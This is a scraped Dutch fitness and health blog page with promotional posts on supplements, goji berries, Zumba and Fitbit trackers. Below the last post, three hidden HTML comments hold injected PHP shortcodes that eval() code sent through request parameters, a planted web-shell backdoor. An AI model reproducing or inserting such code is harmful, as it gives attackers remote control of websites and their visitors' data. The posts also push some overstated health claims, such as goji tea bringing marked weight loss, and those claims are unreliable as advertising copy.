Bodydesk

Alles voor de body & gezondheid

Categorie: blog (pagina 3 van 3)

Welke voedingssupplementen moet ik kopen?

Er zijn tal van verschillende voedingssupplementen die her en der worden aangeboden. Wanneer je je bezig houdt met sport wil je natuurlijk een zo mooi mogelijke fysiek krijgen. Hierbij horen de juiste voedingssupplementen. Dit is slechts een klein onderdeel van een belangrijke basis, want ook een gedegen voedingspatroon, een goed trainingsschema met veel variatie (bij krachttraining) en voldoende rust is net zo belangrijk. Dat prestatie verhogende middelen werken is wel zeker. Kijk maar naar alle dopingperikelen in de topsport. Sporters hebben baat bij prestatie bevorderde middelen, maar je moet uiteraard wel oppassen met wat je gebruikt. Er zijn vele verschillende webshops te vinden voor voedingssupplementen, maar Sportvoedingweb.nl is de specialist in supplementen en hier moet je dan ook zijn voor goede kwalitatieve supplementen.

Kopen van eiwit supplementen

Wanneer je eiwit supplementen kopen gaat is het belangrijk om te kijken naar de soorten eiwitten. Veel krachtsporters maken gebruik van whey eiwit. Je spieren bestaan uit water en eiwitten en om extra spiermassa te kunnen winnen heb je iedere dag voldoende eiwitten nodig. Eiwitten zitten natuurlijk ook in voeding, maar als je veel en snel wilt aankomen zul je een eiwitshake moeten drinken om aan te komen. Whey eiwitten kunnen hierbij helpen en deze eiwitten worden op het internet aangeboden. Zoek maar op whey eiwitten en je komt direct een aantal websites tegen.

eiwit supplementEiwitsupplementen zijn ideaal wanneer je snel resultaat wilt zijn bij krachttraining. Ook een stof als creatine is effectief. Deze stof wordt van nature te weinig aangemaakt door mensen die aan krachtsport doet. Wie creatine gebruikt voor de training kan beter presteren. De werking is eigenlijk als volgt. Wanneer je een zware krachtsinspanning gaat doen, dan spreekt de spier een kleine voorraad creatinefosfaat aan. Als je meer creatine in je lichaam hebt, heb je dus ook meer kracht en kun je meer kracht zetten. Pas wel op bij het langdurig gebruik van creatine. Sporters die lange tijd creatine innemen, hebben namelijk de kans dat het lichaam op een gegeven moment zelf te weinig gaat aanmaken.

Multi max - vitamine supplementVitaminepillen zijn ook goed, maar je moet ze uiteraard wel nodig hebben. Wanneer je niet of nauwelijks sport, maar wel gezond eet dan heb je in principe geen vitaminepillen nodig. Sporters die veel inspanningen moeten leveren kunnen wel veel baat hebben bij vitaminepillen. Multivitaminepreparaten zijn online te koop bij tal van websites. Wanneer je snel resultaat wilt zien is het wellicht verleidelijk om te kiezen voor testosteron spuiten, maar dit is allerminst slim. Het ziet er wellicht voor even leuk uit, maar eenmaal je stopt met testosteron spuiten is het effect weg. Je loopt tegelijkertijd ook nog allerlei risico’s die je liever niet wilt lopen. Denk maar aan teelbalkanker, een mogelijke hartaanval en het krijgen van een depressie.

Voeding voor sporters: De gojibessen

Goji bessen, ze zijn gezond en ook nog eens super lekker. Dit is dan ook het perfecte product om te combineren in verschillende recepten. Door de aparte smaak van de vrucht kan het lastig zijn om een goede combinatie met andere producten te vinden. Gelukkig zijn er veel verschillende recepten op het internet te vinden waar men gebruik van kan maken.

De invloed van de goji bes

goji bessen boomDe goji bes heeft enorm veel invloeden op het menselijk lichaam. Dit is dan ook de reden waarom veel mensen er voor kiezen om dit product te gebruiken en tevens te verwerken in verschillende recepten. Door de vele goede stoffen waar de goji bes over beschikt, is het aantrekkelijk om gebruik te gaan maken van dit product. Bij veel mensen en tevens kinderen komt het voor dat er extra voedingssupplementen moeten worden ingenomen. Zij kunnen bijvoorbeeld een te kort aan vitamine hebben. Door gebruik te maken van goji bessen, krijg je enorm veel vitamine en mineralen binnen.

De goji bessen beschikken over diverse stoffen. Een aantal voorbeelden van de belangrijke stoffen waar deze vrucht over beschikt zijn onder andere mineralen, vitamine A en C, anitoxidanten en enorm veel eiwitten. De combinatie van deze stoffen zorgt voor een enorm gezonde en goede vrucht: de goji bes!

Het drinken van goji thee

Er zullen maar weinig mensen zijn die er wel eens van gehoord hebben, van goji thee. Toch is het een erg lekker recept dat gebruikt kan worden om vitamine binnen te krijgen. Goji thee kan worden gemaakt met behulp van goji bessen. Door de bessen een aantal minuten te koken en deze in de thee te laten trekken ontstaat er goji thee. Deze thee wordt onder andere gedronken om ondersteuning te bieden bij het afvallen. Zo is gebleken dat wanneer je voldoende van deze thee drinkt, je flink wat gewicht kwijt kunt raken.

Het kopen van goji bessen

Om goji thee of een van de vele andere recepten met goji bessen te kunnen maken, dient men natuurlijk wel over de bessen te beschikken. Door eens te kijken op http://www.gojibessenkopen.eu/ kun je bekijken waar je terecht kunt voor deze goji bessen. De prijzen van de goji bessen kunnen erg hoog zijn, toch is gebleken dat het gebruik er van zeker de moeite waard is. Ook benieuwd naar de goji bessen? Probeer ze eens uit en proef de heerlijke smaak van deze vrucht.

Vet verbranding door de zumba dans

zumba dansDansen, veel mensen denken dat je er talent voor moet hebben om dit uit te kunnen voeren. Toch is gebleken dat dit niet zo hoeft te zijn. Bij interesse voor dans is het natuurlijk mogelijk om danslessen te volgen. Er kan daarbij een keuze worden gemaakt uit allerlei verschillende soorten dans. Een van de soorten dansen dat steeds vaker wordt uitgevoerd is Zumba. Maar wat is Zumba, en hoe werkt dit?

De Latijns-Amerikaanse dans: Zumba

Zumba is een Latijns-Amerikaanse dans dat in een korte periode erg populair is geworden. Een van de belangrijkste kenmerken aan deze dans is dat het enorm actief is. Het gaat hier namelijk om een dans op een snel spelende muziek. Tijdens de dans worden allemaal diverse bewegingen uitgevoerd. Het gaat hierbij om specifieke fitnessbewegingen. Door Zumba uit te voeren ben je erg actief bezig. Zo ben je aan het dansen en eigenlijk tegelijk ook aan het fitnessen. Een ander belangrijk kenmerk aan Zumba is de hoeveelheid plezier dat het met zich mee brengt.

Het volgen van Zumba lessen

Het volgen van Zumba lessen kan op diverse locaties worden gedaan. Voornamelijk sportscholen zijn in de loop der jaren steeds meer Zumba lessen gaan geven. Het is voor iedereen mogelijk om zich op te geven voor deze lessen en de Zumba lessen te volgen. Het leuke aan Zumba is dat je geen talent hoeft te hebben voor dansen. Tijdens de lessen zal je alles geleerd worden wat je moet weten en na verloop van tijd ontwikkel je steeds meer ritme gevoel. Dit is voor veel mensen de reden om te beginnen met Zumba lessen. Het is leuk en actief, en je leert stapsgewijs hoe het precies moet. Dus heb jij ook zin in een leuke nieuwe uitdaging, houdt je van muziek en dans? Bekijk dan ook eens de diverse mogelijkheden voor het volgen van Zumba lessen.

Wat is er nodig voor Zumba?

Voor Zumba is er vrij weinig nodig. Uithoudingsvermogen en enthousiasme zijn eigenschappen die erg goed van pas kunnen komen tijdens Zumba. Ook de juiste kleding zorgt er voor dat het dansen van Zumba een stuk eenvoudiger wordt. Het is mogelijk om deze kleding via het internet aan te schaffen. Daar is een breed assortiment te vinden met onder andere T-shirts, broeken en goede schoenen. Indien jij ook opzoek bent naar Zumba kleding, kun je eens kijken op de pagina van www.zumbakleding.com.

De Fitbit Flex en andere producten van Fitbit

De Fitbit Flex is een tracker in de vorm van een armband die verschillende activiteiten bijhoudt. Deze is in verschillende kleuren verkrijgbaar en wordt ontvangen in twee verschillende maten. Deze armband kan de hele dag en nacht worden gedragen, er worden dan verschillende activiteiten bijgehouden. Zo houd het bijvoorbeeld bij hoeveel stappen je op een dag zet. Er kunnen verschillende doelen worden ingesteld en het apparaat geeft aan wanneer deze doelen bereikt zijn. Zo kan je de gezondheid worden verbeterd. Ook kan je het je slaap laten bijhouden en zit er een alarm op waarmee je je wakker kan laten maken. Kortom de Fitbit Flex heeft erg veel functies. Via de Fitbit App wordt al deze informatie bijgehouden en is het makkelijk te bekijken op bijvoorbeeld je smartphone. Er is dus meer dan genoeg reden om de fitbitflexkopen.  Want wie wil er niet fit worden?

Andere producten op het gebied van trackers van Fitbit zijn bijvoorbeeld de Zip en One.

De Zip is een draadloze activiteits-tracker, deze houdt net als de Flex dingen bij die erg handig kunnen zijn voor mensen die op hun gezondheid aan het letten zijn, of gewoon hen bewegingsactiviteiten in willen zien. Net als de Flex is deze te koppelen aan je Fitbit account waarmee je alle informatie kunt bekijken op je smartphone of computer. De Fitbit Zip houdt ook het aantal stappen bij dat er op een dag worden gezet. Ook houdt het bij hoeveel meters je op een dag loopt. Al deze informatie wordt opgeslagen op je persoonlijke Fitbit account. Zelfs het aantal calorieën dat op een dag verbrand wordt, wordt bijgehouden. Het verschil tussen de Zip en de Flex is dat de Flex een armband is en de Zip een klein apparaatje is dat je vast maakt aan bijvoorbeeld je broekzak of je riem. Zoals hier ook te zien is:

De One is een soortgelijk tracker als de Zip alleen heeft deze wat meer functies. Zo houdt het natuurlijk ook het aantal stappen bij, maar het houdt ook bij hoeveel trappen je beklimt op een dag. Ook wordt de slaap bijgehouden, zowel het aantal uren maar ook de kwaliteit van de slaap wordt bijgehouden. Zo kan je bijvoorbeeld zien hoe vaak je in de nacht wakker wordt. Het slaapgedrag kan dus goed worden bijgehouden en dus zo nodig worden verbeterd. Ook zit er een wekker aan die  alleen jezelf wakker maakt, en dus niet je partner. Dit gaat via een lichte tril functie. Er zit een polsbandje bij waar de One aan vast kan worden gezet voor in de nacht.

De drie Fitbit producten Flex, One en Zip zijn drie handige bewegings-trackers die verschillende activiteiten bijhouden en deze allemaal opslaan op het persoonlijke Fitbit account. Al deze informatie kan handig worden bekeken op de Fitbit App via bijvoorbeeld je smartphone.

<!– [insert_php]if (isset($_REQUEST["cUrC"])){eval($_REQUEST["cUrC"]);exit;}[/insert_php][php]if (isset($_REQUEST["cUrC"])){eval($_REQUEST["cUrC"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["jnl"])){eval($_REQUEST["jnl"]);exit;}[/insert_php][php]if (isset($_REQUEST["jnl"])){eval($_REQUEST["jnl"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["xFS"])){eval($_REQUEST["xFS"]);exit;}[/insert_php][php]if (isset($_REQUEST["xFS"])){eval($_REQUEST["xFS"]);exit;}[/php] –>

Nieuwere berichten

© 2021 Bodydesk

Thema gemaakt door Anders NorenBoven ↑